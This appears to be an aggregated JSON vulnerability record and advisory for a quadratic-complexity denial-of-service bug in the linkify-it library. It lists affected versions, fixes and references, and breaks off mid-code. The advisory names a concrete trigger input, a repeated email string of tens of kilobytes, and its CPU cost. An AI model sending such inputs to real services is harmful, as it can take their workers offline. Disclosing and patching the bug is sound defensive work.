{"id":"CVE-2026-48801","aliases":["CLSA-2026-1791290211","CLSA-2026-1792767578","CLSA-2026-1792776237","EUVD-2026-44454","GHSA-22p9-wv53-3rq4","MGASA-2026-0377","RHSA-2026:38187","RHSA-2026:57590","ROOT-APP-NPM-CVE-2026-48801","UBUNTU-CVE-2026-48801"],"status":"published","title":"linkify-it: Quadratic algorithmic complexity in LinkifyIt#match scan loop","description":"linkify-it is a links recognition library with full Unicode support. Prior to 5.0.1, LinkifyIt.prototype.match, the package's primary public API, has O(N²) algorithmic complexity for inputs containing many fuzzy links or emails because the JavaScript-level scan loop re-slices input and re-runs unanchored regex searches on progressively shorter tails. Any service that synchronously renders untrusted Markdown with linkify:true on a request hot path can inherit a worker-process denial of service triggerable by a tens-of-KB request body. This issue is fixed in version 5.0.1.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00394,"percentile":0.33829,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1333"],"published":"2026-06-26T20:47:58Z","modified":"2026-10-28T02:30:38Z","fixes":[{"ecosystem":"npm","package":"linkify-it","fixed_in":["5.0.1"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"linkify-it","fixed_in":["2.2.0-tuxcare.2","1.0.1-tuxcare.2","3.0.3-tuxcare.2"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"linkify-it","fixed_in":["2.2.0-aikido.1","2.2.0-aikido.2","4.0.1-aikido.1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/linkify-it","fixed_in":["2.2.0-root.io.1","2.2.0-root.io.2","4.0.1-root.io.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"linkify-it","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"5.0.0"},{"fixed":"5.0.1"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"linkify-it","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.0-tuxcare.0"},{"fixed":"2.2.0-tuxcare.2"}]}],"versions":["2.2.0","2.2.0-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"linkify-it","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.1-tuxcare.0"},{"fixed":"1.0.1-tuxcare.2"}]}],"versions":["1.0.1","1.0.1-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"linkify-it","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.3-tuxcare.0"},{"fixed":"3.0.3-tuxcare.2"}]}],"versions":["3.0.3","3.0.3-tuxcare.1"]},{"source":"osv","ecosystem":"npm","package":"linkify-it","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"5.0.1"}]}]},{"source":"osv","ecosystem":"Mageia:10","package":"python-linkify-it-py","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.1-1.mga10"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"cargo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.97.0-1.1.hum1"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"clippy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.97.0-1.1.hum1"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rust","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.97.0-1.1.hum1"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rust-analyzer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.97.0-1.1.hum1"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rust-debugger-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.97.0-1.1.hum1"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rust-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.97.0-1.1.hum1"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rust-gdb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.97.0-1.1.hum1"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rust-lldb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.97.0-1.1.hum1"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rust-src","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.97.0-1.1.hum1"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rust-std-static","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.97.0-1.1.hum1"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rust-std-static-aarch64-unknown-none-softfloat","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.97.0-1.1.hum1"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rust-std-static-aarch64-unknown-uefi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.97.0-1.1.hum1"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rust-std-static-i686-pc-windows-gnu","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.97.0-1.1.hum1"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rust-std-static-wasm32-unknown-unknown","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.97.0-1.1.hum1"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rust-std-static-wasm32-wasip1","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.97.0-1.1.hum1"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rust-std-static-x86_64-pc-windows-gnu","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.97.0-1.1.hum1"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rust-std-static-x86_64-unknown-none","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.97.0-1.1.hum1"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rust-std-static-x86_64-unknown-uefi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.97.0-1.1.hum1"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:hummingbird:1","package":"rustfmt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.97.0-1.1.hum1"}]}],"bundled":2},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:10.2","package":"rh-podman-desktop","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.1.2-1.el10_2"}]}],"bundled":24},{"source":"osv","ecosystem":"Root:npm","package":"linkify-it","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.2.0-aikido.1"},{"fixed":"2.2.0-aikido.2"},{"fixed":"4.0.1-aikido.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/linkify-it","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.2.0-root.io.1"},{"fixed":"2.2.0-root.io.2"},{"fixed":"4.0.1-root.io.1"}]}]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"node-markdown-it","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["10.0.0+dfsg-2","10.0.0+dfsg-3","10.0.0+dfsg-3.1","10.0.0+dfsg-4","10.0.0+dfsg-5","10.0.0+dfsg-6"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"node-markdown-it","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["22.2.3+dfsg+~12.2.3-2"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-markdown-it","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["22.2.3+dfsg+~12.2.3-4","22.2.3+dfsg+~12.2.3-5"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"node-markdown-it","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["22.2.3+dfsg+~12.2.3-2","22.2.3+dfsg+~12.2.3-4"]}],"products":[{"vendor":"markdown-it","product":"linkify-it"}],"references":[{"url":"https://github.com/markdown-it/linkify-it/security/advisories/GHSA-22p9-wv53-3rq4","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web","article","report"]},{"url":"https://github.com/markdown-it/linkify-it/commit/6be6d15e0641bf1daeaa977d500cabc743166159","tags":["x_refsource_MISC","Patch","fix","article","report"]},{"url":"https://github.com/advisories/GHSA-22p9-wv53-3rq4"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/48xxx/CVE-2026-48801.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48801","tags":["advisory"]},{"url":"https://github.com/markdown-it/linkify-it","tags":["package"]},{"url":"https://advisories.mageia.org/MGASA-2026-0377.html","tags":["advisory"]},{"url":"https://bugs.mageia.org/show_bug.cgi?id=36247","tags":["report"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DZROSWVUL5NSOK5V2O56ZMD6SRN2KV7V/","tags":["web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:38187","tags":["advisory"]},{"url":"https://images.redhat.com/","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-59869","tags":["report"]},{"url":"https://access.redhat.com/security/updates/classification/","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-48801","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_38187.json","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2500656","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-48801","tags":["advisory","report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2498122","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-59869","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59869","tags":["advisory"]},{"url":"https://github.com/nodeca/js-yaml/commit/24f13e79ee1343a7e30bd6f6c9d9cdbf0ac9b2b7","tags":["article"]},{"url":"https://github.com/nodeca/js-yaml/commit/59423c6f8cdc78742ac00e25a4dd39ef16b702e4","tags":["article"]},{"url":"https://github.com/nodeca/js-yaml/releases/tag/3.15.0","tags":["article"]},{"url":"https://github.com/nodeca/js-yaml/releases/tag/4.3.0","tags":["article"]},{"url":"https://github.com/nodeca/js-yaml/security/advisories/GHSA-52cp-r559-cp3m","tags":["article"]},{"url":"https://access.redhat.com/errata/RHSA-2026:57590","tags":["advisory"]},{"url":"https://access.redhat.com/security/updates/classification/#important","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2455470","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2476810","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477081","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477914","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2487050","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2487946","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2488480","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2488934","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2489661","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2493633","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2494197","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2494813","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2498116","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2498120","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2498127","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2499682","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2500695","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2506433","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2507595","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2510719","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2510722","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2510801","tags":["report"]},{"url":"https://issues.redhat.com/browse/RHEL-238929","tags":["article"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_57590.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-9595","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-9595","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-9595","tags":["advisory"]},{"url":"https://cna.openjsf.org/security-advisories.html","tags":["article"]},{"url":"https://github.com/facebook/create-react-app/pull/7444","tags":["article"]},{"url":"https://github.com/vuejs/vue-cli/commit/72ba7505aff2a8314e82aa5082379a77504a1fcb","tags":["article"]},{"url":"https://github.com/webpack/webpack-dev-server/pull/4316","tags":["article"]},{"url":"https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-mx8g-39q3-5c79","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-12143","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-12143","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12143","tags":["advisory"]},{"url":"https://cwe.mitre.org/data/definitions/93.html","tags":["article"]},{"url":"https://github.com/form-data/form-data/commit/64190db548c0179e37206858e39f27cf513e9435","tags":["article"]},{"url":"https://github.com/form-data/form-data/commit/be3f3cf553978bac15a5182f1f3c3d2d38ccf229","tags":["article"]},{"url":"https://github.com/form-data/form-data/commit/c7133499c2ee1b80c678e411244f4442bf902045","tags":["article"]},{"url":"https://github.com/form-data/form-data/security/advisories/GHSA-hmw2-7cc7-3qxx","tags":["article"]},{"url":"https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#multipart-form-data","tags":["article"]},{"url":"https://www.npmjs.com/package/form-data","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-13149","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-13149","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-13149","tags":["advisory"]},{"url":"https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754","tags":["article"]},{"url":"https://www.npmjs.com/package/brace-expansion","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-13676","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-13676","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-13676","tags":["advisory"]},{"url":"https://github.com/fastify/fast-uri/security/advisories/GHSA-4c8g-83qw-93j6","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-14257","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-14257","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-14257","tags":["advisory"]},{"url":"https://github.com/juliangruber/brace-expansion","tags":["article"]},{"url":"https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-34986","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-34986","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34986","tags":["advisory"]},{"url":"https://github.com/go-jose/go-jose/security/advisories/GHSA-78h2-9frx-2jm8","tags":["article"]},{"url":"https://pkg.go.dev/github.com/go-jose/go-jose/v4#pkg-constants","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42338","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42338","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42338","tags":["advisory"]},{"url":"https://github.com/beaugunderson/ip-address/security/advisories/GHSA-v2v4-37r5-5v8g","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-42570","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42570","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42570","tags":["advisory"]},{"url":"https://github.com/sveltejs/devalue/commit/206ca6712fbc380a4571c59de9ab04b91110792d","tags":["article"]},{"url":"https://github.com/sveltejs/devalue/releases/tag/v5.8.1","tags":["article"]},{"url":"https://github.com/sveltejs/devalue/security/advisories/GHSA-77vg-94rm-hx3p","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-44705","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-44705","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44705","tags":["advisory"]},{"url":"https://github.com/raszi/node-tmp/security/advisories/GHSA-ph9p-34f9-6g65","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-45623","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-45623","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45623","tags":["advisory"]},{"url":"https://github.com/postcss/postcss/security/advisories/GHSA-6g55-p6wh-862q","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-45736","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-45736","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45736","tags":["advisory"]},{"url":"https://github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086","tags":["article"]},{"url":"https://github.com/websockets/ws/security/advisories/GHSA-58qx-3vcg-4xpx","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-45740","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-45740","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45740","tags":["advisory"]},{"url":"https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-jggg-4jg4-v7c6","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-48068","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-48068","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48068","tags":["advisory"]},{"url":"https://github.com/grpc/grpc-node/security/advisories/GHSA-5375-pq7m-f5r2","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-48779","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-48779","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48779","tags":["advisory"]},{"url":"https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7","tags":["article"]},{"url":"https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53","tags":["article"]},{"url":"https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94","tags":["article"]},{"url":"https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8","tags":["article"]},{"url":"https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-49978","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-49978","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49978","tags":["advisory"]},{"url":"https://github.com/cure53/DOMPurify/commit/ca30f070c360df162a3e3848e80e6fd3c9e74bff","tags":["article"]},{"url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.7","tags":["article"]},{"url":"https://github.com/cure53/DOMPurify/security/advisories/GHSA-rp9w-3fw7-7cwq","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-56876","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-56876","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56876","tags":["advisory"]},{"url":"https://github.com/ziad626/extract-zip-security-research/security/advisories/GHSA-x7jf-2287-qcpf","tags":["article"]},{"url":"https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-177-01.json","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-59873","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-59873","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59873","tags":["advisory"]},{"url":"https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3","tags":["article"]},{"url":"https://github.com/isaacs/node-tar/releases/tag/v7.5.19","tags":["article"]},{"url":"https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-59874","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-59874","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59874","tags":["advisory"]},{"url":"https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5","tags":["article"]},{"url":"https://github.com/isaacs/node-tar/releases/tag/v7.5.18","tags":["article"]},{"url":"https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-59877","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-59877","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59877","tags":["advisory"]},{"url":"https://github.com/protobufjs/protobuf.js/commit/10fba6d54815ceecca8a06b9a6db490c8f5d2217","tags":["article"]},{"url":"https://github.com/protobufjs/protobuf.js/commit/fa5c73add738ceb471e74da8cc2f3727c3d0a69f","tags":["article"]},{"url":"https://github.com/protobufjs/protobuf.js/pull/2352","tags":["article"]},{"url":"https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v7.6.5","tags":["article"]},{"url":"https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v8.6.6","tags":["article"]},{"url":"https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-j3f2-48v5-ccww","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-69152","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-69152","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69152","tags":["advisory"]},{"url":"https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d","tags":["article"]},{"url":"https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac","tags":["article"]},{"url":"https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf","tags":["article"]},{"url":"https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031","tags":["article"]},{"url":"https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-69153","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-69153","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69153","tags":["advisory"]},{"url":"https://github.com/postcss/postcss/commit/7beca139e70f9075c6b19700fcb00dd8033e5da8","tags":["article"]},{"url":"https://github.com/postcss/postcss/releases/tag/8.5.19","tags":["article"]},{"url":"https://github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-69192","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-69192","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69192","tags":["advisory"]},{"url":"https://github.com/beaugunderson/ip-address/commit/56368cb3d66c73ba0ee9b6b834fd31b22c2fd71e","tags":["article"]},{"url":"https://github.com/beaugunderson/ip-address/releases/tag/v10.3.1","tags":["article"]},{"url":"https://github.com/beaugunderson/ip-address/security/advisories/GHSA-mwp4-54f8-5fhr","tags":["article"]},{"url":"https://ubuntu.com/security/CVE-2026-48801","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-48801","title":"linkify-it: Quadratic algorithmic complexity in LinkifyIt#match scan loop","description":"linkify-it is a links recognition library with full Unicode support. Prior to 5.0.1, LinkifyIt.prototype.match, the package's primary public API, has O(N²) algorithmic complexity for inputs containing many fuzzy links or emails because the JavaScript-level scan loop re-slices input and re-runs unanchored regex searches on progressively shorter tails. Any service that synchronously renders untrusted Markdown with linkify:true on a request hot path can inherit a worker-process denial of service triggerable by a tens-of-KB request body. This issue is fixed in version 5.0.1.","status":"published","published":"2026-07-14T20:03:56.43Z","modified":"2026-07-15T12:56:15.25Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:19:47.998488Z"}],"euvd":[{"id":"EUVD-2026-44454","description":"linkify-it is a links recognition library with full Unicode support. Prior to 5.0.1, LinkifyIt.prototype.match, the package's primary public API, has O(N²) algorithmic complexity for inputs containing many fuzzy links or emails because the JavaScript-level scan loop re-slices input and re-runs unanchored regex searches on progressively shorter tails. Any service that synchronously renders untrusted Markdown with linkify:true on a request hot path can inherit a worker-process denial of service triggerable by a tens-of-KB request body. This issue is fixed in version 5.0.1.","status":"published","published":"2026-07-14T20:03:56Z","modified":"2026-07-15T12:56:15Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:19:53.226345Z"}],"ghsa":[{"id":"GHSA-22p9-wv53-3rq4","title":"LinkifyIt#match scan loop has quadratic algorithmic complexity","description":"## Summary\n\n`LinkifyIt.prototype.match` — the package's primary public API — has **O(N²) algorithmic complexity** for inputs containing many fuzzy links or emails. This is not a regex backtrack bug; it's a structural issue in the JS-level scan loop that re-slices the input and re-runs unanchored regex searches on progressively shorter tails, N times.\n\n64 KB of `\"a@b.com\\n\"` repeated burns ~2.5 s of single-threaded CPU; 128 KB takes ~10 s. Doubling the input quadruples the time — textbook O(N²).\n\nThe same cost passes through `markdown-it` (`linkify:true`) unmodified. Any service that synchronously renders untrusted Markdown with linkify enabled on a request hot-path (forums, comments, chat, wikis, AI chat UIs) inherits a worker-process DoS triggerable by a tens-of-KB request body.\n\n## Affected component\n\n- HEAD audited: `8e887d5bace3f5b09b1d1f70492fa0364ef1793d` (v5.0.0)\n- Vulnerable function: `LinkifyIt.prototype.match` — `index.mjs:528-554`\n- Re-scan call sites inside `test()`: `index.mjs:444` (fuzzy host search), `:448` (fuzzy link match), `:467` (fuzzy email match)\n- Transitive consumer: `markdown-it` (~21.6M weekly npm DLs) calls `linkify.match()` at `lib/rules_core/linkify.mjs:57` when `linkify:true`\n- **All versions affected** — the vulnerable loop exists since the initial commit (2014) through v5.0.0\n\n## Vulnerability details\n\n### The O(N²) outer loop\n\n`index.mjs:528-554`:\n\n```js\nLinkifyIt.prototype.match = function match (text) {\n  const result = []\n  let shift = 0\n  let tail = shift ? text.slice(shift) : text\n\n  while (this.test(tail)) {\n    result.push(createMatch(this, shift))\n    tail = tail.slice(this.__last_index__)   // \u003c-- re-allocates remaining tail each iteration\n    shift += this.__last_index__\n  }\n\n  if (result.length) return result\n  return null\n}\n```\n\nThe loop iterates O(N) times (once per match). Each iteration:\n1. `tail.slice()` re-allocates a string of length `|text| - shift` — O(N) per iteration\n2. `this.test(tail)` runs three unanchored regex searches over the full new `tail`:\n\n```js\n// index.mjs:444 — full-tail search\ntld_pos = text.search(this.re.host_fuzzy_test)\n// index.mjs:448 — full-tail match\nml = text.match(this.re.link_fuzzy)\n// index.mjs:467 — full-tail match\nme = text.match(this.re.email_fuzzy)\n```\n\nTotal cost: `Σ(N - i*c) for i=0..N = O(N²)`.\n\n### Contrast with the linear schema branch\n\nThe schema-prefixed scan in the same `test()` function does it correctly at `index.mjs:428-440`:\n\n```js\nre = this.re.schema_search\nre.lastIndex 